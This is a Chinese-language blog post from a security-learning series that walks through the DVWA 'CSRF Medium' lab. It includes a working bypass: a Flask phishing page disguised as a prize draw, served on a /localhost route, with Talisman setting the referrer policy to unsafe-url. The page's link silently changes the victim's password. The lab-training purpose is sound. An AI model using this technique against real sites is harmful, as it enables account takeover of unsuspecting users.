iT邦幫忙

2023 iThome 鐵人賽

DAY 13
0

Write-up

CSRF - Medium

這次我們直接看 code:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $current_user = dvwaCurrentUser();
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

跟昨天的 Low 相比,多了第二層 if 的檢查:

if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

意思是 HTTP_REFERER 中需要有 SERVER_NAME 才會通過檢查。在這個環境中我們的 SERVER_NAMElocalhost,所以我們的目標是讓 Referer 中包含 localhost 這段字串。

要達到這個條件有兩種做法,一種是租一個包含 SERVER_NAME 的 Domain 來達成,另一種是用後面的 route 來達到,實務上包含在後面的 route 應該是比較泛用的方式。

釣魚頁面

這邊使用 Flask 來架一個釣魚頁面,只要使用者點擊就會被修改密碼。

我嘗試使用 /localhost 這個路由來達到上面 Referer 的條件

from flask import Flask, render_template

app = Flask(__name__)

@app.route('/localhost')
def index():
    return render_template('index.html')

app.run(host="127.0.0.1", port=5000, debug=False)

index.html

<p>抽獎抽獎</p>

<a href="http://localhost:4280/vulnerabilities/csrf/?password_new=pwnedpwned&password_conf=pwnedpwned&Change=Change#">抽一下嘛🥺</a>

本來以為這樣就可以順利通關,但按下去之後,出現了 That request didn't look correct. 的錯誤,使用 Burp Suite 可以看到 Referer 不是我想像的 http://127.0.0.1:5000/localhost,而是只有前面的 host 跟 port 的部分。
https://ithelp.ithome.com.tw/upload/images/20230927/20162615LSR7K4C8VE.png

這邊還跟我的隊友求助了一下 XD,最後發現是 Chrome 85 之後預設的 Referrer-Policy 變成 strict-origin-when-cross-origin 了。

這樣我們應該只要把 Referrer-Policy 改成 unsafe-url 就可以讓 Referer 符合我們的預期,只是我嘗試在 Flask 端覆寫 Header 但是沒有效果,最後使用了 Flask Talisman 才成功更改了 Referrer-Policy。最後的 code 如下:

from flask import Flask, render_template
from flask_talisman import Talisman

app = Flask(__name__)
Talisman(app, force_https=False, referrer_policy='unsafe-url')

@app.route('/localhost')
def index():
    return render_template('index.html')

app.run(host="127.0.0.1", port=5000, debug=False)

最後點擊該釣魚頁面中的連結,成功更改密碼!
https://ithelp.ithome.com.tw/upload/images/20230927/20162615bnx7XmQ2Zs.png

前面提到的預設 Referrer-Policy 改動可以去看看這篇文章:
【Chrome 85 更新】淺談 Referer-Policy 和更新影響 - Max行銷誌

後記

最近幾天發現要完成文章的時間越來越長,因為要將題目打通才能開始寫 XD,希望後面可以順利完成!


上一篇
Day 12. Web Security - CSRF 實戰(上)
下一篇
Day 14. Web Security - SSRF 介紹
系列文
進了資安公司當後端 RD 才入門資安會不會太晚了30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言